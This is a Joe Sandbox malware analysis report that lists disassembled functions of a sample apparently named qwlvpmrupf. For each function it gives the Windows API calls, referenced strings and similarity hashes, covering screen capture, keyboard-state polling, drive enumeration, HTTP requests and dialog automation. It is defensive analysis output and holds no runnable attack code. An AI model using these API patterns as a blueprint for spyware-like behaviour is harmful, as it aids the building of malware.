LoadCursorW.USER32(00000000,00007F82), ref: 003F0808
LoadCursorW.USER32(00000000,00007F84), ref: 003F0813
LoadCursorW.USER32(00000000,00007F04), ref: 003F081E
LoadCursorW.USER32(00000000,00007F02), ref: 003F0829
GetCursorInfo.USER32(?), ref: 003F0839
GetLastError.KERNEL32 ref: 003F087B

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: c3eaa48707cd312a217e69e14a02429a2849415a1f47cf2b9167c0ca30255e56
Instruction ID: b38e1bef9ffa5a16b33670f64f30d434dc695cd645db5cbff284c9880e32cdfc
Opcode Fuzzy Hash: c3eaa48707cd312a217e69e14a02429a2849415a1f47cf2b9167c0ca30255e56
Instruction Fuzzy Hash: BA414670D043196ADB11DFBA8C8586EBFE8FF04754B50452AE11CEB291DA78D901CF91

Function 00390456 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00390456

Part of subcall function 0039047D: InitializeCriticalSectionAndSpinCount.KERNEL32(0044170C,00000FA0,5E28F90F,?,?,?,?,003B2753,000000FF), ref: 003904AC
Part of subcall function 0039047D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,003B2753,000000FF), ref: 003904B7
Part of subcall function 0039047D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,003B2753,000000FF), ref: 003904C8
Part of subcall function 0039047D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 003904DE
Part of subcall function 0039047D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 003904EC
Part of subcall function 0039047D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 003904FA
Part of subcall function 0039047D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00390525
Part of subcall function 0039047D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00390530

___scrt_fastfail.LIBCMT ref: 00390477

Part of subcall function 00390433: __onexit.LIBCMT ref: 00390439

Strings

InitializeConditionVariable, xrefs: 003904D8
SleepConditionVariableCS, xrefs: 003904E4
api-ms-win-core-synch-l1-2-0.dll, xrefs: 003904B2
WakeAllConditionVariable, xrefs: 003904F2
kernel32.dll, xrefs: 003904C3

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 9afa80551c048931d98ba4c331d8bb71f98ab68889fc9d94edfaa00c49beafde
Instruction ID: 8037d5550e031b2fd734862a7ffe7c49afe1f417384bf78fff7474a25fa0bc1f
Opcode Fuzzy Hash: 9afa80551c048931d98ba4c331d8bb71f98ab68889fc9d94edfaa00c49beafde
Instruction Fuzzy Hash: BA210B36E44310AFDF1A6BF8AD06B6977E4DF05B61F114136F901EA290DFB49C808E58

Function 003E4E1A Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0040DCD0), ref: 003E4E81
_wcslen.LIBCMT ref: 003E4E95
_wcslen.LIBCMT ref: 003E4EF3
_wcslen.LIBCMT ref: 003E4F4E
_wcslen.LIBCMT ref: 003E4F99
_wcslen.LIBCMT ref: 003E5001

Part of subcall function 0038FD60: _wcslen.LIBCMT ref: 0038FD6B

GetDriveTypeW.KERNEL32(?,00437C10,00000061), ref: 003E509D

Strings

all, xrefs: 003E4E8B, 003E4E90
removable, xrefs: 003E4F44, 003E4F49
fixed, xrefs: 003E4F8F, 003E4F94
ramdisk, xrefs: 003E504B
cdrom, xrefs: 003E4EE9, 003E4EEE
unknown, xrefs: 003E5062
network, xrefs: 003E4FF7, 003E4FFC

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 87c4e2930e26fd049c60ba50c00831b1cfbcb5eb11bb29c7b3cd690e519b0adc
Instruction ID: 35a81c4f4961060827351e2d26f36d9e0e89aef52676a65a0cd1ca7c037dd1f8
Opcode Fuzzy Hash: 87c4e2930e26fd049c60ba50c00831b1cfbcb5eb11bb29c7b3cd690e519b0adc
Instruction Fuzzy Hash: 86B125316083529FC721DF29C890A6AB7E5BF98724F118A1DF4968B2D2DB34DC45CB92

Function 003F4946 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0040DCD0), ref: 003F4A18
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 003F4A2A
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0040DCD0), ref: 003F4A4F
FreeLibrary.KERNEL32(00000000,?,0040DCD0), ref: 003F4A9B
StringFromGUID2.OLE32(?,?,00000028,?,0040DCD0), ref: 003F4B05
SysFreeString.OLEAUT32(00000009), ref: 003F4BBF
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 003F4C25
SysFreeString.OLEAUT32(?), ref: 003F4C4F

Strings

kernel32.dll, xrefs: 003F4A13
GetModuleHandleExW, xrefs: 003F4A24

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: 65a79fcf2d2869e24ccff68982bec8cf44513c4de0cfc76dbc488eaff45bca31
Instruction ID: 22925b0808ba69c506793ff60e75a91a82db3633008be061e1e0bdf9f94ddb02
Opcode Fuzzy Hash: 65a79fcf2d2869e24ccff68982bec8cf44513c4de0cfc76dbc488eaff45bca31
Instruction Fuzzy Hash: 63123D71A00109EFDB15CF94C984EBEBBB9FF45314F158098EA19AB261D731ED46CB90

Function 003ECDD3 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 003ECE0D
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 003ECE20
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 003ECE34
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 003ECE4D
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 003ECE90
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 003ECEA6
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003ECEB1
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 003ECEE1
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 003ECF39
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 003ECF4D
InternetCloseHandle.WININET(00000000), ref: 003ECF58

Strings

, xrefs: 003ECED2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 3d70ea5246491042eacef69055c05f799e77fef66282b34118131e72a1571a9a
Instruction ID: 5783089da32ddcc8e71dde30d4166cec3a8124d2b70ceaaf4cb9d8152f3de030
Opcode Fuzzy Hash: 3d70ea5246491042eacef69055c05f799e77fef66282b34118131e72a1571a9a
Instruction Fuzzy Hash: 0651AE70510248BFDB229FA5CD48AAF7BFDFF48744F004629F94696281D734E90ADBA0

Function 00408ECE Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00408EF1
GetFileSize.KERNEL32(00000000,00000000), ref: 00408F01
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00408F0C
CloseHandle.KERNEL32(00000000), ref: 00408F19
GlobalLock.KERNEL32(00000000), ref: 00408F27
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00408F36
GlobalUnlock.KERNEL32(00000000), ref: 00408F3F
CloseHandle.KERNEL32(00000000), ref: 00408F46
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00408F57
OleLoadPicture.OLEAUT32(?,00000000,00000000,00410C04,?), ref: 00408F70
GlobalFree.KERNEL32(00000000), ref: 00408F80
GetObjectW.GDI32(?,00000018,000000FF), ref: 00408FA0
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00408FD0
DeleteObject.GDI32(00000000), ref: 00408FF8
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0040900E

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 708fa8f83735ab74a9e769b25ea73fa7c7745344ab0ea5a85bcb3222b9f1ca03
Instruction ID: 3aaba56fb73829ec86cbf2c097114e4c0823e45aba79766e582f6c41b7a6b919
Opcode Fuzzy Hash: 708fa8f83735ab74a9e769b25ea73fa7c7745344ab0ea5a85bcb3222b9f1ca03
Instruction Fuzzy Hash: 48414C71A00205AFDB11DFA5CE48EAB7BB9EF89710F104069F905E7290DB749D45CB24

Function 003F2EB9 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 003F2F35
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 003F2F45
CreateCompatibleDC.GDI32(?), ref: 003F2F51
SelectObject.GDI32(00000000,?), ref: 003F2F5E
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 003F2FCA
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 003F3009
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 003F302D
SelectObject.GDI32(?,?), ref: 003F3035
DeleteObject.GDI32(?), ref: 003F303E
DeleteDC.GDI32(?), ref: 003F3045
ReleaseDC.USER32(00000000,?), ref: 003F3050

Strings

(, xrefs: 003F2FEA

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 3cb405aa39df044d899f48497b8ec878c5f8d3b61b3cb6e8d0202b3def9be3ec
Instruction ID: ca092b2697dbd682ebe741dbbc284d2f9c3ff743ea6cf61d5f15cab8df5e7dd3
Opcode Fuzzy Hash: 3cb405aa39df044d899f48497b8ec878c5f8d3b61b3cb6e8d0202b3def9be3ec
Instruction Fuzzy Hash: C461F3B5D00219EFCF05CFE4D984AAEBBB5FF48310F208529E659AB250D771A941CF94

Function 003DC80C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00442990,000000FF,00000000,00000030), ref: 003DC888
SetMenuItemInfoW.USER32(00442990,00000004,00000000,00000030), ref: 003DC8BD
Sleep.KERNEL32(000001F4), ref: 003DC8CF
GetMenuItemCount.USER32(?), ref: 003DC915
GetMenuItemID.USER32(?,00000000), ref: 003DC932
GetMenuItemID.USER32(?,-00000001), ref: 003DC95E
GetMenuItemID.USER32(?,?), ref: 003DC9A5
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 003DC9EB
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003DCA00
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003DCA21

Strings

0, xrefs: 003DC819

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: 0
API String ID: 1460738036-4108050209
Opcode ID: f64c2ee771747f25a1406d5ce353a235909edd85ad9d9e305b445458fa0c3588
Instruction ID: 676cb7a72af22b129a2a0616594815b7e3dbef84d31c8a9efd668cb07d955e71
Opcode Fuzzy Hash: f64c2ee771747f25a1406d5ce353a235909edd85ad9d9e305b445458fa0c3588
Instruction Fuzzy Hash: 8761617293025BABDF12CFA4ED98AEEBBB8FB05304F111166F841A7251D7349D45CB60

Function 003E4678 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 003E469A
_wcslen.LIBCMT ref: 003E46C7
CreateDirectoryW.KERNEL32(?,00000000), ref: 003E46F7
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 003E4718
RemoveDirectoryW.KERNEL32(?), ref: 003E4728
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 003E47AF
CloseHandle.KERNEL32(00000000), ref: 003E47BA
CloseHandle.KERNEL32(00000000), ref: 003E47C5

Strings

:, xrefs: 003E46DC
\??\%s, xrefs: 003E46B5
\, xrefs: 003E46D1

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: da8cdd46471de6a7f54aec006692352297399c23d188bb7b6a114d7068f4d782
Instruction ID: 00b15dfdd0b52f2d3099a76f392bbb670dae07a37fd899612b65ea2632a5183c
Opcode Fuzzy Hash: da8cdd46471de6a7f54aec006692352297399c23d188bb7b6a114d7068f4d782
Instruction Fuzzy Hash: 0B31E4B1900259ABDB229FA1DC45FEB37BCEF89740F1041B9F615E60A0EB7096448B64

Function 003DEEDC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 003DEEE0

Part of subcall function 0038F27E: timeGetTime.WINMM(?,?,003DEF00), ref: 0038F282

Sleep.KERNEL32(0000000A), ref: 003DEF0D
EnumThreadWindows.USER32(?,Function_0006EE91,00000000), ref: 003DEF31
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 003DEF53
SetActiveWindow.USER32 ref: 003DEF72
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 003DEF80
SendMessageW.USER32(00000010,00000000,00000000), ref: 003DEF9F
Sleep.KERNEL32(000000FA), ref: 003DEFAA
IsWindow.USER32 ref: 003DEFB6
EndDialog.USER32(00000000), ref: 003DEFC7

Strings

BUTTON, xrefs: 003DEF45

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 3aa43200e46e631d32d840a39482dc5de58ded08c987f2b061c19ae4c29cf460
Instruction ID: 673b9f4e693e687866e70f81943239fa529d4f5a492b2044a7b5cf4f44a5f9d8
Opcode Fuzzy Hash: 3aa43200e46e631d32d840a39482dc5de58ded08c987f2b061c19ae4c29cf460
Instruction Fuzzy Hash: D921A479100215BFEB127FA0FD88A2A3F6EF746746F120436F4019A3A1CB728D048A6C

Function 003DA86D Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 003DA8EE
SetKeyboardState.USER32(?), ref: 003DA959
GetAsyncKeyState.USER32(000000A0), ref: 003DA979
GetKeyState.USER32(000000A0), ref: 003DA990
GetAsyncKeyState.USER32(000000A1), ref: 003DA9BF
GetKeyState.USER32(000000A1), ref: 003DA9D0
GetAsyncKeyState.USER32(00000011), ref: 003DA9FC
GetKeyState.USER32(00000011), ref: 003DAA0A
GetAsyncKeyState.USER32(00000012), ref: 003DAA33
GetKeyState.USER32(00000012), ref: 003DAA41
GetAsyncKeyState.USER32(0000005B), ref: 003DAA6A
GetKeyState.USER32(0000005B), ref: 003DAA78

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 7bddc160a4a751adbc2c45b7fb365951c65579353a4365c2c84a12f34fc72609
Instruction ID: 2f3e043c823877cdd02e63ea49f21ce3b2da8082686ec6204dfe5114533acd67
Opcode Fuzzy Hash: 7bddc160a4a751adbc2c45b7fb365951c65579353a4365c2c84a12f34fc72609
Instruction Fuzzy Hash: 0E51EA22904B8869EB37D7B05A107AABFF49F11340F4A459BD9C21B3C2DB649A4CC763

Function 003D6555 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 003D6571
GetWindowRect.USER32(00000000,?), ref: 003D658A
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 003D65E8
GetDlgItem.USER32(?,00000002), ref: 003D65F8
GetWindowRect.USER32(00000000,?), ref: 003D660A
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 003D665E
GetDlgItem.USER32(?,000003E9), ref: 003D666C
GetWindowRect.USER32(00000000,?), ref: 003D667E
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 003D66C0
GetDlgItem.USER32(?,000003EA), ref: 003D66D3
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 003D66E9
InvalidateRect.USER32(?,00000000,00000001), ref: 003D66F6

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 6df0b8335128d7bd87aa099550c641430674f52b91692e81063f5cdd18ad8836
Instruction ID: e858d5e50b7fbff6392053f2a63153ec7412f4184101f4af1c10d6ef2f9cba34
Opcode Fuzzy Hash: 6df0b8335128d7bd87aa099550c641430674f52b91692e81063f5cdd18ad8836
Instruction Fuzzy Hash: AF510EB1E00205AFDF09CFA8DE86AAEBBB9FB48300F118139F519E7294D7719D048B54

Function 003720D8 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 003721E4: GetWindowLongW.USER32(?,000000EB), ref: 003721F2

GetSysColor.USER32(0000000F), ref: 00372102

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 7cd9daa2940eeba486a02012844ccbdce9eeaab0ae61dc4d7f20e80e18037f77
Instruction ID: e0a95eeebf4cdf8255a82b98aaf7a11014520eeeff95b1cd6b39e11a9eb390d9
Opcode Fuzzy Hash: 7cd9daa2940eeba486a02012844ccbdce9eeaab0ae61dc4d7f20e80e18037f77
Instruction Fuzzy Hash: B541D531500650AFDB325F38DC84BBB3769BB46324F568615FBA69B2E1CB358D42DB10

Function 004048F7 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0040499A
CreateCompatibleDC.GDI32(00000000), ref: 004049A1
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 004049B4
SelectObject.GDI32(00000000,00000000), ref: 004049BC
GetPixel.GDI32(00000000,00000000,00000000), ref: 004049C7
DeleteDC.GDI32(00000000), ref: 004049D1
GetWindowLongW.USER32(?,000000EC), ref: 004049DB
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 004049F1
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 004049FD

Strings

static, xrefs: 00404932

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

